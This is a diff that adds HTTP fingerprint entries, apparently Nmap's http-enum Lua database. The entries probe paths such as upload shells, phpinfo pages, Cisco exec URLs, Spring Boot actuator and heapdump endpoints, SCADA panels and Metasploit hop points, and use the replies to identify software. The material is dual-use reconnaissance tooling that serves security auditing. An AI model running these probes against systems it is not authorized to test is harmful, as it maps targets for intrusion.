+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/crossdomain.xml',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ output = 'Adobe Flash crossdomain policy'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/css/cake.generic.css',
+ method = 'HEAD'
+ },
+ {
+ path = '/img/cake.icon.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/img/cake.icon.png',
+ method = 'HEAD'
+ },
+ {
+ path = '/js/vendors.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'CakePHP application'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/cgi-bin/ffileman.cgi?',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Ffileman Web File Manager'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/fshow.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Horizon Web App'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/admin/upload.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Admin File Upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/upload_multiple_js.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'NAS Uploader'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/uploadtester.asp',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Free ASP Upload Shell'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/info.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpinfo.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Possible information file'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/kusabax/manage_page.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Kusabax Image Board'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/plus/lurking.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'phpMyChat Plus'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/adm/barra/assetmanager/assetmanager.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = '360 Web Manager'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/eyeos/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Possible eyeOS installation'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/NETWARE.HTM',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Planet FPS-1101'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/setup.cgi',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Linksys Cisco Wag120n or similar'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/debug.cgi',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Linksys WRT54G'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/ehcp/?op=applyforftpaccount',
+ method = 'HEAD'
+ },
+ {
+ path = '/ehcp/?op=applyforaccount',
+ method = 'HEAD'
+ },
+ {
+ path = '/ehcp/?op=applyfordomainaccount',
+ method = 'HEAD'
+ },
+ {
+ path = '/vhosts/ehcp/?op=applyforftpaccount',
+ method = 'HEAD'
+ },
+ {
+ path = '/vhosts/ehcp/?op=applyforaccount',
+ method = 'HEAD'
+ },
+ {
+ path = '/vhosts/ehcp/?op=applyfordomainaccount',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Easy Hosting Control Panel'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/tools_admin.cgi?',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'D-Link WBR-1310'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/level/15',
+ method = 'HEAD'
+ },
+ {
+ path = '/exec/show/log/CR',
+ method = 'HEAD'
+ },
+ {
+ path = '/level/15/exec/-/configure/http',
+ method = 'HEAD'
+ },
+ {
+ path = '/level/15/exec/-',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = 'cisco-IOS',
+ output = 'Cisco 2811'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report',
+ method = 'HEAD'
+ },
+ {
+ path = '/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report',
+ method = 'HEAD'
+ },
+ {
+ path = '/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Oracle GlashFish Server Information'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/console/login/loginForm.jsp',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Oracle WebLogic Server Administration Console'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/login_img.jpg',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = 'RapidLogic',
+ output = 'AIRAYA WirelessGRID'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/cirronetlogo.gif',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = 'Cirronet Wavebolt-AP',
+ output = 'Cirronet Wavebolt'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/browserId/wizardForm.jhtml',
+ method = 'HEAD'
+ },
+ {
+ path = '/webline/html/forms/callback.jhtml',
+ method = 'HEAD'
+ },
+ {
+ path = '/webline/html/forms/callbackICM.jhtml',
+ method = 'HEAD'
+ },
+ {
+ path = '/webline/html/agent/AgentFrame.jhtml',
+ method = 'HEAD'
+ },
+ {
+ path = '/webline/html/agent/default/badlogin.jhtml',
+ method = 'HEAD'
+ },
+ {
+ path = '/callme/callForm.jhtml',
+ method = 'HEAD'
+ },
+ {
+ path = '/webline/html/multichatui/nowDefunctWindow.jhtml',
+ method = 'HEAD'
+ },
+ {
+ path = '/browserId/wizard.jhtml',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/CiscoAdmin.jhtml',
+ method = 'HEAD'
+ },
+ {
+ path = '/msccallme/mscCallForm.jhtml',
+ method = 'HEAD'
+ },
+ {
+ path = '/webline/html/admin/wcs/LoginPage.jhtml',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Cisco Collaboration Server'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/restoreinfo.cgi',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Sagem router'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/confirminvite.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'phpMyBitTorrent'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/sourcebans/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'SourceBans - Steam server application'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/swfupload/index.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'SWFUpload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/mymarket/shopping/index.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'MyMarket'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/myshop_start.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'FozzCom shopping'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/piranha/secure/passwd.php3',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'RedHat Piranha Virtual Server'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/cgi-bin/ck/mimencode',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'ContentKeeper Web Appliance'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/cgi-bin/masterCGI?',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Alcatel-Lucent OmniPCX Enterprise'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/tiny_mce/plugins/filemanager/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Tiny MCE File Upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/upload/scp/ajax.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'osTicket / AJAX File Upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/cgi-mod/view_help.cgi',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Barracuda Networks Spam & Virus Firewall'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/cgi-mod/index.cgi',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Barracuda Web Application Firewall'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/cgi-mod/smtp_test.cgi',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Barracuda IM Firewall'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/TopToolArea.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/switchSystem.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Alteon OS BBI (Nortell)'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/intruvert/jsp/module/Login.jsp',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'McAfee Network Security Manager'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/ajaxfilemanager/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'AJAX File Manager'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/upload/data/settings.cdb',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'CF Image Hosting DB'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/fm.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Simple File Manager'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/nagios3/cgi-bin/statuswml.cgi',
+ method = 'HEAD'
+ },
+ {
+ path = '/nagios3/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Nagios3'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/test/logon.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Jetty'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/cal_cat.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/calendar/cal_cat.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/cal/cal_cat.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Calendarix'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/private/sdc.tgz',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'IBM Bladecenter Management Logs'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/cacti/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Cacti Web Monitoring'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/cgi-bin/awstats.pl',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'AWStats'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/wiki/rankings.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Bit Weaver'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/reqdetails.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'BtiTracker'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/shared/help.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'OpenBiblio/WebBiblio Subject Gateway System'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/seti.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'PHP SETI@home'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/imc/',
+ method = 'HEAD'
+ },
+ {
+ path = '/imcws/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = '3Com Intelligent Management Center'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/partymgr/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Apache OFBiz'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/Base/upload.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/Base/example_1.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'MassMirror Uploader'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/YUI-upload/html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'YUI Images / File Upload'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/tools/filemanager/skins/mobile/admin1.template.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'ispCP Omega'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/Uploadify/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Uploadify'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/syssite/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'ShopEx'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/updown.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'PHP Uploader Downloader'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/modules/docmanager/doctypetemplates/myuploadedfile',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Achievo'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/ReqWebHelp/advanced/workingSet.jsp',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'IBM Rational RequisitePro/ReqWebHelp'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/dhost/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Novell eDirectory'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/engine/api/api.class.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'DatalifeEngine'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/jsft_resource.jsf',
+ method = 'HEAD'
+ },
+ {
+ path = '/scales_static_resource.jsf',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'JSFTemplating/Mojarra Scales/GlassFish Application Server'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/setup/password_required.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = '2WIRE GATEWAY'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/zp-core/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Zen Photo'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/amember/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'aMember'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/.hgignore',
+ method = 'HEAD'
+ },
+ {
+ path = '/.gitignore',
+ method = 'HEAD'
+ },
+ {
+ path = '/.bzrignore',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Revision control ignore file'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/debug.seam',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = 'JBoss Seam Debug Page',
+ output = 'JBoss Seam Debug Page'
+ }
+ }
+ });
+
+------------------------------------------------
+---- SECURITY SOFTWARE ----
+------------------------------------------------
+-- These checks will find specific installed software. If possible, it will also
+-- find versions, etc.
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/CSS/Miniweb.css',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = 'ad_header_form_sprachauswahl',
+ output = 'SCADA Siemens SIMATIC S7'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/S7Web.css',
+ method = 'GET'
+ },
+ {
+ path = '/Portal0000.htm',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<td class="Title_Area_Name">(.-)</td>',
+ output = 'SCADA Siemens PCS7: \\1'
+ },
+ {
+ match = '',
+ output = 'SCADA Siemens PCS7'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/arcsight/',
+ method = 'HEAD'
+ },
+ {
+ path = '/arcsight/images/logo-login-arcsight.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/arcsight/images/navbar-icon-logout-on.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/images/logo-arcsight.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/logger/monitor.ftl',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ output = 'Arcsight'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/beef/',
+ method = 'HEAD'
+ },
+ {
+ path = '/BEEF/',
+ method = 'HEAD'
+ },
+ {
+ path = '/beef/images/beef.gif',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ output = 'BeEF Browser Exploitation Framework'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/gfx/form_top_left_corner.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/gfx/logout_24.png',
+ method = 'HEAD'
+ },
+ {
+ path = '/gfx/new_logo.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/javascript/sorttable.js',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Secunia NSI'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/images/btn_help_nml.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/images/hdr_icon_homeG.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/spControl.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/images/isslogo.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/deploymentmanager/',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'IBM Proventia'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/i18n/EN/css/foundstone.css',
+ method = 'HEAD'
+ },
+ {
+ path = '/i18n/EN/images/external_nav_square.gif',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Foundstone'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/officescan/console/html/cgi/cgiChkMasterPwd.exe',
+ method = 'HEAD'
+ },
+ {
+ path = '/officescan/console/html/ClientInstall/officescannt.htm',
+ method = 'HEAD'
+ },
+ {
+ path = '/officescan/console/html/images/icon_refresh.gif',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Trend Micro OfficeScan Server'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/picts/BC_bwlogorev.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/picts/menu_leaf.gif',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'BlueCoat Reporter'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/theme/images/en/login1.gif',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Fortinet VPN/Firewall'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = 'id="NessusClient"',
+ output = 'Nessus'
+ },
+ {
+ match = 'NessusClient.swf',
+ output = 'Nessus'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/NessusClient.swf',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Nessus'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/dotDefender/',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'dotDefender Web Application Firewall'
+ }
+ }
+ });
+
+-- http://www.rapid7.com/db/modules/payload/windows/meterpreter/reverse_hop_http
+-- "GET /hop.php?/control" will grab all pending messages, but is unreliable if
+-- there are no pending messages.
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/hop.php?/12345',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ -- TODO: this only works for Meterpreter payloads. Find a more generic means?
+ match = 'METERPRETER_TRANSPORT_HTTP',
+ output = 'Metasploit reverse_hop_http hop point'
+ },
+ }
+ });
+
+-- http://carnal0wnage.attackresearch.com/2015/02/cisco-asa-version-grabber-cve-2014-3398.html
+table.insert(fingerprints, {
+ category = 'security',
+ probes = {
+ {
+ path = '/CSCOSSLC/config-auth',
+ method = 'GET'
+ },
+ },
+ matches = {
+ {
+ match = '<version who="sg">([^<]+)</version>',
+ output = 'Cisco ASA, firmware \\1'
+ },
+ }
+ });
+
+------------------------------------------------
+---- MANAGEMENT SOFTWARE ----
+------------------------------------------------
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/actuator/',
+ method = 'GET'
+ },
+ {
+ path = '/auditevents/',
+ method = 'GET'
+ },
+ {
+ path = '/autoconfig/',
+ method = 'GET'
+ },
+ {
+ path = '/beans/',
+ method = 'GET'
+ },
+ {
+ path = '/configprops/',
+ method = 'GET'
+ },
+ {
+ path = '/env/',
+ method = 'GET'
+ },
+ {
+ path = '/flyway/',
+ method = 'GET'
+ },
+ {
+ path = '/health/',
+ method = 'GET'
+ },
+ {
+ path = '/healthcheck/',
+ method = 'GET'
+ },
+ {
+ path = '/healthchecks/',
+ method = 'GET'
+ },
+ {
+ path = '/loggers/',
+ method = 'GET'
+ },
+ {
+ path = '/liquibase/',
+ method = 'GET'
+ },
+ {
+ path = '/metrics/',
+ method = 'GET'
+ },
+ {
+ path = '/mappings/',
+ method = 'GET'
+ },
+ {
+ path = '/trace/',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ output = 'Spring Boot Actuator endpoint'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/heapdump/',
+ method = 'GET'
+ },
+ {
+ path = '/jolokia/',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ output = 'Spring MVC Endpoint'
+ }
+ }
+ });
+
+
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/vmware/',
+ method = 'HEAD'
+ },
+ {
+ path = '/vmware/imx/vmware_boxes-16x16.png',
+ method = 'HEAD'
+ },
+ {
+ path = '/ui/',
+ method = 'HEAD'
+ },
+ {
+ path = '/ui/imx/vmwareLogo-16x16.png',
+ method = 'HEAD'
+ },
+ {
+ path = '/ui/imx/vmwarePaperBagLogo-16x16.png',
+ method = 'HEAD'
+ },
+ {
+ path = '/ui/vManage.do',
+ method = 'HEAD'
+ },
+ {
+ path = '/client/VMware-viclient.exe',
+ method = 'HEAD'
+ },
+ {
+ path = '/en/welcomeRes.js',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ output = 'VMWare'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/citrix/',
+ method = 'HEAD'
+ },
+ {
+ path = '/Citrix/',
+ method = 'HEAD'
+ },
+ {
+ path = '/Citrix/MetaFrame/auth/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/images/ctxHeader01.jpg',
+ method = 'HEAD'
+ },
+ {
+ path = '/images/Safeword_Token.jpg',
+ method = 'HEAD'
+ },
+ {
+ path = '/sw/auth/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/vpn/images/AccessGateway.ico',
+ method = 'HEAD'
+ },
+ {
+ path = '/citrix/AccessPlatform/auth/clientscripts/',
+ method = 'HEAD'
+ },
+ {
+ path = '/AccessPlatform/auth/clientscripts/',
+ method = 'HEAD'
+ },
+ {
+ path = '/Citrix//AccessPlatform/auth/clientscripts/cookies.js',
+ method = 'HEAD'
+ },
+ {
+ path = '/Citrix/AccessPlatform/auth/clientscripts/login.js',
+ method = 'HEAD'
+ },
+ {
+ path = '/Citrix/PNAgent/config.xml',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ output = 'Citrix'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/cgi-bin/image/shikaku2.png',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'TeraStation PRO RAID 0/1/5 Network Attached Storage'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/config/public/usergrp.gif',
+ method = 'HEAD'
+ },
+ {
+ path = '/pictures/buttons/file_view_mark.gif',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'AXIS StorPoint'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'management',
+ probes = {
+ {
+ path = '/cpqlogin.htm?RedirectUrl=/&RedirectQueryString=',
+ method = 'HEAD'
+ },
+ {
+ path = '/hplogo.gif',
